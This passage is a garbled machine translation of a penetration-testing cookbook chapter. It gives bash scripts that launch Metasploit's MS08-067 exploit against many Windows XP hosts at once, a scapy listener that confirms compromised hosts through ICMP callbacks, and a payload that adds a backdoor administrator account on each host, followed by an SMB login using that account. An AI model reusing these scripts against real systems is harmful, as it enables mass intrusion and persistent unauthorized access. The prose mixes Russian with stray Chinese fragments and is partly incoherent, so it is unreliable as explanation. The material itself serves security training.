Использовать демо-версию скрипта в этом чите,Вам нужен доступ к нескольким системам,Каждая система имеет функции, которые можно использовать Metasploit Использована та же самая уязвимость. Приведенный пример воспроизводит запуск Windows XP Уязвимая версия ВМ, для генерации MS08-067 Три примера уязвимостей. О настройках Windows система Дополнительную информацию см. в разделе «Установка» главы 1 этой книги. Windows Серверные читы. Кроме того, для этого раздела требуется использовать текстовый редактор (например, VIM или Nano) записывает скрипт в файловую систему. О написании сценария из Подробнее,Пожалуйста, обратитесь к первой главе этой книги «Использовать текстовый редактор (VIM и Nano)».
В следующем примере показано, как использовать bash Скрипт одновременно использует несколько экземпляров одной уязвимости. В частности, этот скрипт можно использовать, ссылаясь на IP Введите список адресов для использования MS08-067 NetAPI Несколько экземпляров уязвимости:
#!/bin/bash
if [ ! $1 ]; then echo "Usage: #./script <host file>";
exit; fi
iplist=$1
for ip in $(cat $iplist)
do
gnome-terminal -x msfcli exploit/windows/smb/ms08_067_netapi PAYLOAD=windows/exec CMD="cmd.exe /c ping \"172.16.36.239 -n 1 -i 15\""
RHOST=$ip E
echo "Exploiting $ip and pinging"
done
Этот сценарий отличается от сценария, рассмотренного в предыдущем рецепте, потому что Полезная нагрузка «что» передается только обратно из системы-жертвы в атакующую систему. ICMP Повторите запрос. 在осуществлятьping
Заказииспользовать-i
Возможность указать срок службы(TTL)для15 час. Это альтернативное значение TTL используется для того, чтобы отличить трафик, генерируемый эксплойтами, от обычного. ICMP поток. Индивидуальные Python Сценарий слушателя, полученный ICMP трафик для выявления эксплуатируемых систем. Сценарий следующий:
#!/usr/bin/python
from scapy.all import *
import logging
logging.getLogger("scapy.runtime").setLevel(logging.ERROR)
def rules(pkt):
try:
if ((pkt[IP].dst=="172.16.36.239") and (pkt[ICMP]) and pkt[IP]. ttl <= 15):
print str(pkt[IP].src) + " is exploitable"
except:
pass
print "Listening for Incoming ICMP Traffic. Use Ctrl+C to stop scanning"
sniff(lfilter=rules,store=0)
Скрипт прослушивает все входящие звонки. когда получен TTL Значение 15или меньше ICMP Пакеты помечаются системным скриптом Воля как доступные.
root@KaliLinux:~# ./listener.py
Listening for Incoming ICMP Traffic. Use Ctrl+C to stop scanning
Сначала следует запустить прослушиватель трафика Python. Сценарий изначально не должен генерировать выходные данные. Этот сценарий должен работать непрерывно на протяжении всего процесса разработки. После запуска скрипта он должен запуститься bash использовать Скрипт.
root@KaliLinux:~# ./multipwn.sh iplist.txt
Exploiting 172.16.36.132 and pinging
Exploiting 172.16.36.158 and pinging
Exploiting 172.16.36.225 and pinging
При выполнении скрипта исходный терминал shell 会显示每个система正在одеялоиспользовать,и且正在осуществлятьping
последовательность。 Также Воля для каждого входного списка из IP Адрес открывает новый GNOME Терминал. Когда каждый эксплойт завершен, его следует инициировать из целевой системы. ICMP Эхо-запрос:
root@KaliLinux:~# ./listener.py
Listening for Incoming ICMP Traffic. Use Ctrl+C to stop scanning
172.16.36.132 is exploitable
172.16.36.158 is exploitable
172.16.36.225 is exploitable
Предполагая, что атака успешна, Python Скрипт прослушивания определит генерируемый трафик и Воля ICMP Каждый источник трафика IP Адрес указан как свободный.
ICMP Трафик кажется неинтуитивным способом проверки функциональности целевой системы. Однако на самом деле это работает довольно хорошо. одинокий ICMP Эхо-запросы не оставляют следов эксплойта в целевой системе и не требуют чрезмерных затрат. этот外,Воля TTL Значение установлено на 15 Маловероятно, чтобы генерировались ложные срабатывания, потому что что Почти все системы начинаются с 128 или Начинается более высокое значение TTL.
Этот чит показывает, как использовать bash ,использовать одинокую уязвимость в нескольких системах и добавлять новую учетную запись изадминистратора в каждой системе. Эту технологию можно использовать позже путем интеграции служб терминаловиспользовать SMB Аутентификация для доступа к скомпрометированным системам.
Использовать демо-версию скрипта в этом чите,Вам нужен доступ к нескольким системам,Каждая система имеет функции, которые можно использовать Metasploit Использована та же самая уязвимость. Приведенный пример воспроизводит запуск Windows XP Уязвимая версия ВМ, для генерации MS08-067 Три примера уязвимостей. О настройках Windows система Дополнительную информацию см. в разделе «Установка» главы 1 этой книги. Windows Серверные читы. Кроме того, для этого раздела требуется использовать текстовый редактор (например, VIM или Nano) записывает скрипт в файловую систему. О написании сценария из Подробнее,Пожалуйста, обратитесь к первой главе этой книги «Использовать текстовый редактор (VIM и Nano)».
В следующем примере показано, как использовать bash Скрипт одновременно использует несколько экземпляров одной уязвимости. В частности, этот скрипт можно использовать, ссылаясь на IP Введите список адресов для использования MS08-067 NetAPI Несколько экземпляров уязвимости:
#!/bin/bash
if [ ! $1 ]; then echo "Usage: #./script <host file> <username> <password>";
exit; fi
iplist=$1
user=$2
pass=$3
for ip in $(cat $iplist)
do
gnome-terminal -x msfcli exploit/windows/smb/ms08_067_netapi PAYLOAD=windows/exec CMD="cmd.exe /c \"net user $user $pass /add && net localgroup administrators $user /add\"" RHOST=$ip E
echo "Exploiting $ip and adding user $user"
done
Этот сценарий отличается от предыдущих сценариев многопоточного эксплойта из-за различной полезной нагрузки. Здесь две команды выполняются последовательно при успешной эксплуатации. 这两个Заказсерединаиз第один Заказ创建один名дляhutch
изновая учетная запись пользователя,и定义关联изпароль。 第二个Заказ Волянедавно созданныйиз用户帐户添加到местныйAdministrators
Группа:
root@KaliLinux:~# ./multipwn.sh
Usage: #./script <host file> <username> <password>
root@KaliLinux:~# ./multipwn.sh iplist.txt hutch P@33word
Exploiting 172.16.36.132 and adding user hutch
Exploiting 172.16.36.158 and adding user hutch
Exploiting 172.16.36.225 and adding user hutch
Если вы выполните сценарий без предоставления каких-либо аргументов, сценарий выведет соответствующее использование. Описание использования указывает, что сценарий должен выполняться с аргументом, указывающим цель включения. IP Имя текстового файла списка адресов. После выполнения с этим параметром начнет появляться ряд новых терминалов. Каждый из этих терминалов запускает список ввода из IP Последовательность эксплойтов для одного из адресов. Оригинальный исполнительный терминал Воля выводит список процессов во время выполнения и отображает добавление новой учетной записи пользователя для каждого процесса. После завершения последовательности эксплойтов в каждом терминале вы можете использовать RDP из Интегрированные терминальные услуги или через удаленный SMB Аутентификация для доступа в систему. Эта учетная запись добавлена для демонстрации, Metasploit SMB_Login Вспомогательный модуль для использования вновь добавленных учетных данных для удаленного входа в атакуемую систему:
msf > use auxiliary/scanner/smb/smb_login
msf auxiliary(smb_login) > set SMBUser hutch
SMBUser => hutch
msf auxiliary(smb_login) > set SMBPass P@33word
SMBPass => P@33word
msf auxiliary(smb_login) > set RHOSTS 172.16.36.225
RHOSTS => 172.16.36.225
msf auxiliary(smb_login) > run
[*] 172.16.36.225:445 SMB - Starting SMB login bruteforce
[+] 172.16.36.225:445 - SUCCESSFUL LOGIN (Windows 5.1) hutch : [STATUS_ SUCCESS]
[*] Username is case insensitive
[*] Domain is ignored
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
SMB_Login
Вспомогательный модульиз Результаты показывают,использовать Недавно созданные учетные данные успешно вошли в систему. Затем,Эта вновь созданная учетная запись может быть использована для дальнейших злонамеренных целей.,Читатели могут использовать скрипт, чтобы проверить, существует ли учетная запись.,Для проверки уязвимости изиспользовать.
Добавляя учетные записи пользователей в каждой эксплуатируемой системе, злоумышленник может продолжать выполнять последующие операции с этой системой. Этот метод имеет преимущества и недостатки. Добавление новой учетной записи в скомпрометированной системе происходит быстрее, чем компрометация существующей, и обеспечивает немедленный доступ к существующим удаленным службам, таким как RDP)。 нода,Добавление новой учетной записи не очень осторожно,Системы обнаружения вторжений на базе хоста иногда могут вызывать оповещения.